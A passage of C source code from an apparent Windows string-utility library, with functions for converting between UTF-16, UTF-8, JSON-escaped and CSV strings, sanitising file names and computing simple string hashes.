cbu; } // 2: return on length-request or alloc-fail if(!pusz) { if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } } if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbu))) { goto fail; } // fail: insufficient buffer space usz = (pbBuffer && (cbBuffer >= cbu)) ? pbBuffer : LocalAlloc(0, cbu); if(!usz) { goto fail; } // fail: failed buffer space allocation // 3: populate with utf-8 string i = cbw - 2; j = cbu - 2; while(i < 0x7fffffff) { c = pus[i--]; if(c > 0x7ff) { if(c >= 0xD800 && c <= 0xDFFF) { // surrogate pair (previously validated in step 1) chSur = 0x10000 + (((pus[i--] - 0xD800) << 10) | ((c - 0xDC00) & 0x3ff)); usz[j--] = 0x80 | (chSur & 0x3f); usz[j--] = 0x80 | ((chSur >> 6) & 0x3f); usz[j--] = 0x80 | ((chSur >> 12) & 0x3f); usz[j--] = 0xf0 | ((chSur >> 18) & 0x0f); } else { usz[j--] = 0x80 | (c & 0x3f); usz[j--] = 0x80 | ((c >> 6) & 0x3f); usz[j--] = 0xe0 | ((c >> 12) & 0x1f); } } else if(c > 0x7f) { usz[j--] = 0x80 | (c & 0x3f); usz[j--] = 0xc0 | ((c >> 6) & 0x3f); } else { usz[j--] = (CHAR)c; } } usz[cbu - 1] = 0; if(pusz) { *pusz = usz; } return TRUE; fail: if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) { if(pusz) { *pusz = (LPSTR)pbBuffer; } if(pcbu) { *pcbu = 1; } pbBuffer[0] = 0; } return FALSE; } /* * Convert UTF-8 string into a Windows Wide-Char string. * Function support usz == pbBuffer - usz will then become overwritten. * CALLER LOCALFREE (if *pusz != pbBuffer): *pusz * -- usz = the string to convert. * -- cch = -1 for null-terminated string; or max number of chars (excl. null). * -- pbBuffer = optional buffer to place the result in. * -- cbBuffer * -- pusz = if set to null: function calculate length only and return TRUE. result wide-string, either as (*pwsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbu = byte length (including terminating null) of wide-char string. * -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE * -- return */ _Success_(return) BOOL CharUtil_UtoW(_In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPWSTR *pwsz, _Out_opt_ PDWORD pcbw, _In_ DWORD flags) { UCHAR c; LPWSTR wsz; DWORD i, j, n, cbu = 0, cbw = 0, ch; BOOL fTruncate = flags & CHARUTIL_FLAG_TRUNCATE; if(pcbw) { *pcbw = 0; } if(pwsz) { *pwsz = NULL; } if(!usz) { usz = ""; } if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } // 1: utf-8 byte-length: cbBuffer = cbBuffer & ~1; // multiple of 2-byte sizeof(WCHAR) if(fTruncate && (!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC))) { goto fail; } while((cbu < cch) && (c = usz[cbu])) { if(c & 0x80) { // utf-8 char: n = 0; if((c & 0xe0) == 0xc0) { n = 2; } if((c & 0xf0) == 0xe0) { n = 3; } if((c & 0xf8) == 0xf0) { n = 4; } if(!n) { goto fail; } // invalid char-encoding if(cbu + n > cch) { break; } if(fTruncate && (cbw + ((n == 4) ? 4 : 2) >= cbBuffer)) { break; } if((n > 1) && ((usz[cbu + 1] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding if((n > 2) && ((usz[cbu + 2] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding if((n > 3) && ((usz[cbu + 3] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding cbw += (n == 4) ? 4 : 2; cbu += n; } else { if(fTruncate && (cbw + 2 >= cbBuffer)) { break; } cbw += 2; cbu += 1; } } cbu += 1; cbw += 2; if(pcbw) { *pcbw = cbw; } // 2: return on length-request or alloc-fail if(!pwsz) { if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } } if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbw))) { goto fail; } // fail: insufficient buffer space wsz = (pbBuffer && (cbBuffer >= cbw)) ? pbBuffer : LocalAlloc(0, cbw); if(!wsz) { goto fail; } // fail: failed buffer space allocation // 3: Populate with wchar string. NB! algorithm works only on correctly // formed UTF-8 - which has been verified in the count-step. i = cbu - 2; j = (cbw >> 1) - 1; wsz[j--] = 0; while(i < 0x7fffffff) { if(((c = usz[i--]) & 0xc0) == 0x80) { // 2-3-4 byte utf-8 ch = c & 0x3f; if(((c = usz[i--]) & 0xc0) == 0x80) { // 3-4 byte utf-8 ch += (c & 0x3f) << 6; if(((c = usz[i--]) & 0xc0) == 0x80) { ch += (c & 0x3f) << 12; // 4-byte utf-8 c = usz[i--]; ch += (c & 0x07) << 18; } else { ch += (c & 0x0f) << 12; // 3-byte utf-8 } } else { ch += (c & 0x1f) << 6; // 2-byte utf-8 } if(ch >= 0x10000) { // surrogate pair: ch -= 0x10000; wsz[j--] = (ch & 0x3ff) + 0xdc00; wsz[j--] = (USHORT)((ch >> 10) + 0xd800); } else { wsz[j--] = (USHORT)ch; } } else { wsz[j--] = c; } } if(pwsz) { *pwsz = wsz; } return TRUE; fail: if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && (cbBuffer > 1)) { if(pwsz) { *pwsz = (LPWSTR)pbBuffer; } if(pcbw) { *pcbw = 2; } pbBuffer[0] = 0; } return FALSE; } _Success_(return) BOOL CharUtil_WtoW(_In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPWSTR *pwsz, _Out_opt_ PDWORD pcbw, _In_ DWORD flags) { // NB! // This function is assumed to be rarely used. Due to this it's implemented // by calling CharUtil_WtoU and CharUtil_UtoW which is slightly ineffective. LPSTR usz; DWORD cbu; BYTE pbBufferInternal[MAX_PATH * 2]; return CharUtil_WtoU(wsz, cch, pbBufferInternal, sizeof(pbBufferInternal), &usz, &cbu, CHARUTIL_FLAG_TRUNCATE) && CharUtil_UtoW(usz, -1, pbBuffer, cbBuffer, pwsz, pcbw, flags); } VOID CharUtil_EscapeJSON2(_In_ CHAR ch, _Out_writes_(2) PCHAR chj) { chj[0] = '\\'; switch(ch) { case '"': chj[1] = '"'; break; case '\\': chj[1] = '\\'; break; case '\b': chj[1] = 'b'; break; case '\f': chj[1] = 'f'; break; case '\n': chj[1] = 'n'; break; case '\r': chj[1] = 'r'; break; case '\t': chj[1] = 't'; break; } } VOID CharUtil_EscapeJSON6(_In_ CHAR ch, _Out_writes_(6) PCHAR chj) { CHAR chh; chj[0] = '\\'; chj[1] = 'u'; chj[2] = '0'; chj[3] = '0'; chh = (ch >> 4) & 0xf; chj[4] = (chh < 10) ? '0' + chh : 'a' - 10 + chh; chh = ch & 0xf; chj[5] = (chh < 10) ? '0' + chh : 'a' - 10 + chh; } /* * Convert UTF-8, Ascii (0-255) or Wide (16-bit LE) string into a JSON string. * Function support sz/usz/wsz == pbBuffer - sz/usz/wsz will then become overwritten. * CALLER LOCALFREE (if *pjsz != pbBuffer): *pjsz * -- sz/usz/wsz = the string to convert. * -- cch = -1 for null-terminated string; or max number of chars (excl. null). * -- pbBuffer = optional buffer to place the result in. * -- cbBuffer * -- pjsz = if set to null: function calculate length only and return TRUE. result utf-8 string, either as (*pjsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbj = byte length (including terminating null) of utf-8 string. * -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE * -- return */ _Success_(return) BOOL CharUtil_UtoJ(_In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags) { UCHAR c; LPSTR jsz; DWORD i, j, n, cba = 0, cbj = 0; if(pcbj) { *pcbj = 0; } if(pjsz) { *pjsz = NULL; } if(!usz) { usz = ""; } if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } // 1: ansi byte-length and if ansi-only if((flags & CHARUTIL_FLAG_TRUNCATE)) { if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; } while((cba < cch) && (c = usz[cba])) { if(c < 0x20 || c == '"' || c == '\\') { // JSON encode n = (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; if(cba + cbj + 1 + n >= cbBuffer) { break; } cbj += n; } cba++; } } else { while((cba < cch) && (c = usz[cba])) { if(c < 0x20 || c == '"' || c == '\\') { // JSON encode cbj += (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; } cba++; } } cba++; cbj += cba; if(pcbj) { *pcbj = cbj; } // 2: return on length-request or alloc-fail if(!pjsz) { if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } } if(!cbj) { goto fail; } if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbj))) { goto fail; } // fail: insufficient buffer space jsz = (pbBuffer && (cbBuffer >= cbj)) ? pbBuffer : LocalAlloc(0, cbj); if(!jsz) { goto fail; } // fail: failed buffer space allocation // 3: populate with utf-8 string (backwards to support sz == pbBuffer case) i = cba - 2; j = cbj - 2; while(i < 0x7fffffff) { c = usz[i--]; if(c < 0x20 || c == '"' || c == '\\') { // JSON encode n = (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; if(n == 1) { CharUtil_EscapeJSON2(c, jsz + j - 1); } if(n == 5) { CharUtil_EscapeJSON6(c, jsz + j - 5); } j -= 1 + n; } else { jsz[j--] = c; } } jsz[cbj - 1] = 0; if(pjsz) { *pjsz = jsz; } return TRUE; fail: if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) { if(pjsz) { *pjsz = (LPSTR)pbBuffer; } if(pcbj) { *pcbj = 1; } pbBuffer[0] = 0; } return FALSE; } _Success_(return) BOOL CharUtil_AtoJ(_In_opt_ LPCSTR sz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags) { UCHAR c; LPSTR jsz; DWORD i, j, n, cba = 0, cbj = 0; if(pcbj) { *pcbj = 0; } if(pjsz) { *pjsz = NULL; } if(!sz) { sz = ""; } if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } // 1: ansi byte-length and if ansi-only if((flags & CHARUTIL_FLAG_TRUNCATE)) { if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; } while((cba < cch) && (c = sz[cba])) { if(c > 0x7f) { if(cba + cbj + 1 + 1 >= cbBuffer) { break; } cbj++; } else if(c < 0x20 || c == '"' || c == '\\') { // JSON encode n = (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; if(cba + cbj + 1 + n >= cbBuffer) { break; } cbj += n; } else { if(cba + cbj + 1 >= cbBuffer) { break; } } cba++; } } else { while((cba < cch) && (c = sz[cba])) { if(c > 0x7f) { cbj++; } else if(c < 0x20 || c == '"' || c == '\\') { // JSON encode cbj += (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; } cba++; } } cba++; cbj += cba; if(pcbj) { *pcbj = cbj; } // 2: return on length-request or alloc-fail if(!pjsz) { if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } } if(!cbj) { goto fail; } if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbj))) { goto fail; } // fail: insufficient buffer space jsz = (pbBuffer && (cbBuffer >= cbj)) ? pbBuffer : LocalAlloc(0, cbj); if(!jsz) { goto fail; } // fail: failed buffer space allocation // 3: populate with utf-8 string (backwards to support sz == pbBuffer case) i = cba - 2; j = cbj - 2; while(i < 0x7fffffff) { c = sz[i--]; if(c > 0x7f) { jsz[j--] = 0x80 | (c & 0x3f); jsz[j--] = 0xc0 | ((c >> 6) & 0x1f); } else if(c < 0x20 || c == '"' || c == '\\') { // JSON encode n = (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; if(n == 1) { CharUtil_EscapeJSON2(c, jsz + j - 1); } if(n == 5) { CharUtil_EscapeJSON6(c, jsz + j - 5); } j -= 1 + n; } else { jsz[j--] = c; } } jsz[cbj - 1] = 0; if(pjsz) { *pjsz = jsz; } return TRUE; fail: if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) { if(pjsz) { *pjsz = (LPSTR)pbBuffer; } if(pcbj) { *pcbj = 1; } pbBuffer[0] = 0; } return FALSE; } _Success_(return) BOOL CharUtil_WtoJ(_In_opt_ LPCWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pjsz, _Out_opt_ PDWORD pcbj, _In_ DWORD flags) { USHORT c, cZERO = 0; LPSTR jsz; PUSHORT pus; DWORD i, j, n, cbw = 0, cbj = 0, chSur; if(pcbj) { *pcbj = 0; } if(pjsz) { *pjsz = NULL; } if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } pus = wsz ? (PUSHORT)wsz : &cZERO; // 1: ansi byte-length and if ansi-only if((flags & CHARUTIL_FLAG_TRUNCATE)) { if(!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC)) { goto fail; } while((cbw < cch) && (c = pus[cbw])) { if(c > 0x7ff) { if(c >= 0xD800 && c <= 0xDFFF) { // surrogate pair if(cbw + cbj + 1 + 2 + 1 >= cbBuffer) { break; } if(cbw + 1 >= cch) { break; } // end of string if(pus[cbw + 1] < 0xD800 || pus[cbw + 1] > 0xDFFF) { goto fail; } // fail: invalid code point cbj += 2; cbw++; } else { if(cbw + cbj + 1 + 2 >= cbBuffer) { break; } cbj += 2; } } else if(c > 0x7f) { if(cbw + cbj + 1 + 1 >= cbBuffer) { break; } cbj++; } else if(c < 0x20 || c == '"' || c == '\\') { // JSON encode n = (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; if(cbw + cbj + 1 + n >= cbBuffer) { break; } cbj += n; } else { if(cbw + cbj + 1 >= cbBuffer) { break; } } cbw++; } } else { while((cbw < cch) && (c = pus[cbw])) { if(c > 0x7ff) { if(c >= 0xD800 && c <= 0xDFFF) { // surrogate pair if(cbw + 1 >= cch) { break; } // end of string if(pus[cbw + 1] < 0xD800 || pus[cbw + 1] > 0xDFFF) { goto fail; } // fail: invalid code point cbj += 2; cbw++; } else { cbj += 2; } } else if(c > 0x7f) { cbj++; } else if(c < 0x20 || c == '"' || c == '\\') { // JSON encode cbj += (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; } cbw++; } } cbw++; cbj += cbw; if(pcbj) { *pcbj = cbj; } // 2: return on length-request or alloc-fail if(!pjsz) { if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } } if(!cbj) { goto fail; } if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbj))) { goto fail; } // fail: insufficient buffer space jsz = (pbBuffer && (cbBuffer >= cbj)) ? pbBuffer : LocalAlloc(0, cbj); if(!jsz) { goto fail; } // fail: failed buffer space allocation // 3: populate with utf-8 string (backwards to support sz == pbBuffer case) i = cbw - 2; j = cbj - 2; while(i < 0x7fffffff) { c = pus[i--]; if(c > 0x7ff) { if(c >= 0xD800 && c <= 0xDFFF) { // surrogate pair (previously validated in step 1) chSur = 0x10000 + (((pus[i--] - 0xD800) << 10) | ((c - 0xDC00) & 0x3ff)); jsz[j--] = 0x80 | (chSur & 0x3f); jsz[j--] = 0x80 | ((chSur >> 6) & 0x3f); jsz[j--] = 0x80 | ((chSur >> 12) & 0x3f); jsz[j--] = 0xf0 | ((chSur >> 18) & 0x0f); } else { jsz[j--] = 0x80 | (c & 0x3f); jsz[j--] = 0x80 | ((c >> 6) & 0x3f); jsz[j--] = 0xe0 | ((c >> 12) & 0x1f); } } else if(c > 0x7f) { jsz[j--] = 0x80 | (c & 0x3f); jsz[j--] = 0xc0 | ((c >> 6) & 0x3f); } else if(c < 0x20 || c == '"' || c == '\\') { // JSON encode n = (c == '"' || c == '\\' || c == '\b' || c == '\f' || c == '\n' || c == '\r' || c == '\t') ? 1 : 5; if(n == 1) { CharUtil_EscapeJSON2((CHAR)c, jsz + j - 1); } if(n == 5) { CharUtil_EscapeJSON6((CHAR)c, jsz + j - 5); } j -= 1 + n; } else { jsz[j--] = (CHAR)c; } } jsz[cbj - 1] = 0; if(pjsz) { *pjsz = jsz; } return TRUE; fail: if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) { if(pjsz) { *pjsz = (LPSTR)pbBuffer; } if(pcbj) { *pcbj = 1; } pbBuffer[0] = 0; } return FALSE; } /* * Convert UTF-8 string into a CSV compatible string. * If source string contain either comma(,) space( ) doublequote(") it will be * treated as a CSV string and be put into double quotes at start/end. * Function support usz == pbBuffer - usz will then become overwritten. * CALLER LOCALFREE (if *pvsz != pbBuffer): *pvsz * -- usz = the string to convert. * -- cch = -1 for null-terminated string; or max number of chars (excl. null). * -- pbBuffer = optional buffer to place the result in. * -- cbBuffer * -- pvsz = if set to null: function calculate length only and return TRUE. result utf-8 string, either as (*pvsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbv = byte length (including terminating null) of utf-8 string. * -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE * -- return */ _Success_(return) BOOL CharUtil_UtoCSV(_In_opt_ LPCSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pvsz, _Out_opt_ PDWORD pcbv, _In_ DWORD flags) { UCHAR c; LPSTR vsz; DWORD iu, iv, n, cbu = 0, cbv = 0; BOOL fCSV = FALSE; BOOL fTruncate = flags & CHARUTIL_FLAG_TRUNCATE; if(pcbv) { *pcbv = 0; } if(pvsz) { *pvsz = NULL; } if(!usz) { usz = ""; } if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } // 1: csv byte-length: if(usz[0] == '\0') { fCSV = TRUE; cbv += 2; } if(fTruncate && (!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC))) { goto fail; } while((cbu < cch) && (c = usz[cbu])) { if(c & 0x80) { // utf-8 char: n = 0; if((c & 0xe0) == 0xc0) { n = 2; } if((c & 0xf0) == 0xe0) { n = 3; } if((c & 0xf8) == 0xf0) { n = 4; } if(!n) { goto fail; } // invalid char-encoding if(cbu + n > cch) { break; } if(fTruncate && (cbv + n >= cbBuffer)) { break; } if((n > 1) && ((usz[cbu + 1] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding if((n > 2) && ((usz[cbu + 2] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding if((n > 3) && ((usz[cbu + 3] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding cbu += n; cbv += n; } else if(c == '"' || c == ' ' || c == ',') { n = (c == '"') ? 2 : 1; if(!fCSV) { n += 2; } if(fTruncate && (cbv + n >= cbBuffer)) { break; } fCSV = TRUE; cbu += 1; cbv += n; } else { if(fTruncate && (cbv + 1 >= cbBuffer)) { break; } cbu += 1; cbv += 1; } } cbu++; cbv++; if(pcbv) { *pcbv = cbv; } // 2: return on length-request or alloc-fail if(!pvsz) { if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } } if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbv))) { goto fail; } // fail: insufficient buffer space vsz = (pbBuffer && (cbBuffer >= cbv)) ? pbBuffer : LocalAlloc(0, cbv); if(!vsz) { goto fail; } // fail: failed buffer space allocation // 3: populate with CSV UTF-8 string iu = cbu - 2; iv = cbv - 2; if(fCSV) { vsz[iv--] = '"'; } while(iv < 0x7fffffff) { if(!iv && fCSV) { vsz[0] = '"'; break; } c = usz[iu--]; if(c == '"') { vsz[iv--] = '"'; } if(c < 0x20) { c = '?'; } vsz[iv--] = c; } vsz[cbv - 1] = 0; if(pvsz) { *pvsz = vsz; } return TRUE; fail: if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) { if(pvsz) { *pvsz = (LPSTR)pbBuffer; } if(pcbv) { *pcbv = 1; } pbBuffer[0] = 0; } return FALSE; } /* * Convert a string into a file name compatible string by replacing illegal * characters with '_'. Also optionally add a suffix between 1-9 and fix * upper-case letters. If insufficient space the result will be truncated. * -- uszDst * -- cbuDst * -- uszSrc * -- iSuffix * -- fUpper * -- return = number of bytes written (including terminating NULL). */ _Success_(return != 0) DWORD CharUtil_FixFsNameU(_Out_writes_(cbuDst) LPSTR uszDst, _In_ DWORD cbuDst, _In_ LPCSTR uszSrc, _In_opt_ DWORD iSuffix, _In_ BOOL fUpper) { UCHAR c; DWORD i = 0, nSuffix = 0; // 1: convert correct size utf-8 if(iSuffix) { if(iSuffix < 100) { nSuffix = 3; } if(iSuffix < 10) { nSuffix = 2; } } if(cbuDst < 2 + nSuffix) { if(cbuDst) { uszDst[0] = 0; } return cbuDst ? 1 : 0; } CharUtil_UtoU((LPSTR)uszSrc, -1, (PBYTE)uszDst, cbuDst - nSuffix, NULL, NULL, CHARUTIL_FLAG_TRUNCATE | CHARUTIL_FLAG_STR_BUFONLY); // 2: replace bad/uppercase chars if(fUpper) { while((c = uszDst[i])) { if(c >= 'a' && c <= 'z') { c += 'A' - 'a'; } else if(c < 128) { c = (CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') ? '_' : c; } uszDst[i] = c; i++; } } else { while((c = uszDst[i])) { if(c < 128) { c = (CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') ? '_' : c; } uszDst[i] = c; i++; } } // 3: append suffix (if required) if(nSuffix && (i + nSuffix + 1 < cbuDst)) { uszDst[i++] = '-'; if(iSuffix >= 10) { uszDst[i++] = '0' + (CHAR)(iSuffix / 10); } uszDst[i++] = '0' + (CHAR)(iSuffix % 10); uszDst[i++] = 0; } if(i && (uszDst[i - 1] == '.')) { uszDst[i - 1] = '_'; } return (DWORD)(strlen(uszDst) + 1); } /* * Convert a string into a file name compatible string by replacing illegal * characters with '_'. Also optionally add a suffix between 1-9 and fix * upper-case letters. One of [usz, sz, wsz] must be valid. * -- uszOut * -- cbuDst * -- usz * -- sz * -- wsz * -- cwsz * -- cch = number of bytes/wchars in usz/sz/wsz or _TRUNCATE * -- iSuffix * -- fUpper * -- return = number of bytes written (including terminating NULL). */ _Success_(return != 0) DWORD CharUtil_FixFsName(_Out_writes_(cbuDst) LPSTR uszOut, _In_ DWORD cbuDst, _In_opt_ LPCSTR usz, _In_opt_ LPCSTR sz, _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _In_opt_ DWORD iSuffix, _In_ BOOL fUpper) { UCHAR c, cLast = 0; DWORD i = 0; LPSTR uszTMP; uszOut[0] = 0; // 1: convert correct size utf-8 if(cbuDst < 5) { return 0; } if(!sz && !usz && !wsz) { return 0; } if(sz && !CharUtil_AtoU((LPSTR)sz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; } if(wsz && !CharUtil_WtoU((LPWSTR)wsz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; } if(usz && !CharUtil_UtoU((LPSTR)usz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; } // 2: replace bad/uppercase chars if(fUpper) { while((c = uszOut[i])) { if(c >= 'a' && c <= 'z') { c += 'A' - 'a'; } else if((c < 128) && (cLast < 128)) { c = (CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') ? '_' : c; } uszOut[i] = c; cLast = c; i++; } } else { while((c = uszOut[i])) { if((c < 128) && (cLast < 128)) { c = (CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') ? '_' : c; } uszOut[i] = c; cLast = c; i++; } } // 3: append suffix (if required) if(iSuffix && (iSuffix < 100)) { uszOut[i++] = '-'; if(iSuffix >= 10) { uszOut[i++] = '0' + (CHAR)(iSuffix / 10); } uszOut[i++] = '0' + (CHAR)(iSuffix % 10); uszOut[i++] = 0; } if(i && (uszOut[i - 1] == '.')) { uszOut[i - 1] = '_'; } return (DWORD)(strlen(uszOut) + 1); } /* * Replace illegal characters in a text with a character of the users choosing. * The result is returned as a utf-8 string. * -- uszOut * -- cbuDst * -- usz * -- sz * -- wsz * -- cwsz * -- cch = number of bytes/wchars in usz/sz/wsz or _TRUNCATE * -- chReplace = character to replace illegal characters with. * -- chAllowArray = array of 0(illegal char) or 1(allowed char) for each character in the 0-127 range. * -- return = number of bytes written (including terminating NULL). */ _Success_(return != 0) DWORD CharUtil_ReplaceMultiple(_Out_writes_(cbuDst) LPSTR uszOut, _In_ DWORD cbuDst, _In_opt_ LPCSTR usz, _In_opt_ LPCSTR sz, _In_opt_ LPCWSTR wsz, _In_ DWORD cch, _In_ CHAR chAllowArray[128], _In_ CHAR chNew) { UCHAR c, cLast = 0; DWORD i = 0; LPSTR uszTMP; uszOut[0] = 0; // 1: convert correct size utf-8 if(cbuDst < 5) { return 0; } if(!sz && !usz && !wsz) { return 0; } if(sz && !CharUtil_AtoU((LPSTR)sz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; } if(wsz && !CharUtil_WtoU((LPWSTR)wsz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; } if(usz && !CharUtil_UtoU((LPSTR)usz, cch, (PBYTE)uszOut, cbuDst - 4, &uszTMP, NULL, CHARUTIL_FLAG_TRUNCATE)) { return 0; } // 2: replace bad chars while((c = uszOut[i])) { if((c < 128) && (cLast < 128)) { c = (chAllowArray[c] == '0') ? chNew : c; } uszOut[i] = c; cLast = c; i++; } return (DWORD)(strlen(uszOut) + 1); } /* * Hash a string quickly using the ROT13 algorithm. * -- sz/jsz/wsz = the string to hash * -- fUpper * -- return */ QWORD CharUtil_Hash64U(_In_opt_ LPCSTR usz, _In_ BOOL fUpper) { CHAR c; QWORD i = 0, qwHash = 0; if(!usz) { return 0; } if(fUpper) { while(TRUE) { c = usz[i++]; if(!c) { return qwHash; } if(c >= 'a' && c <= 'z') { c += 'A' - 'a'; } qwHash = ((qwHash >> 13) | (qwHash << 51)) + c; } } else { while(TRUE) { c = usz[i++]; if(!c) { return qwHash; } qwHash = ((qwHash >> 13) | (qwHash << 51)) + c; } } } QWORD CharUtil_Hash64A(_In_opt_ LPCSTR sz, _In_ BOOL fUpper) { LPSTR usz; QWORD qwHash = 0; BYTE pbBuffer[MAX_PATH]; if(!sz) { return 0; } if(CharUtil_IsAnsiA(sz)) { return CharUtil_Hash64U(sz, fUpper); } if(CharUtil_AtoU((LPSTR)sz, -1, pbBuffer, sizeof(pbBuffer), &usz, NULL, CHARUTIL_FLAG_ALLOC)) { qwHash = CharUtil_Hash64U(usz, fUpper); if(pbBuffer != (PBYTE)usz) { LocalFree(usz); } } return qwHash; } QWORD CharUtil_Hash64W(_In_opt_ LPCWSTR wsz, _In_ BOOL fUpper) { CHAR c; LPSTR usz; QWORD i = 0, qwHash = 0; BYTE pbBuffer[MAX_PATH]; PUSHORT pus = (PUSHORT)wsz; if(!wsz) { return 0; } if(CharUtil_IsAnsiW(wsz)) { while(TRUE) { c = (CHAR)pus[i++]; if(!c) { return qwHash; } if(fUpper && c >= 'a' && c <= 'z') { c += 'A' - 'a'; } qwHash = ((qwHash >> 13) | (qwHash << 51)) + c; } } if(CharUtil_WtoU((LPWSTR)wsz, -1, pbBuffer, sizeof(pbBuffer), &usz, NULL, CHARUTIL_FLAG_ALLOC)) { qwHash = CharUtil_Hash64U(usz, fUpper); if(pbBuffer != (PBYTE)usz) { LocalFree(usz); } } return qwHash; } DWORD CharUtil_Hash32U(_In_opt_ LPCSTR usz, _In_ BOOL fUpper) { CHAR c; DWORD i = 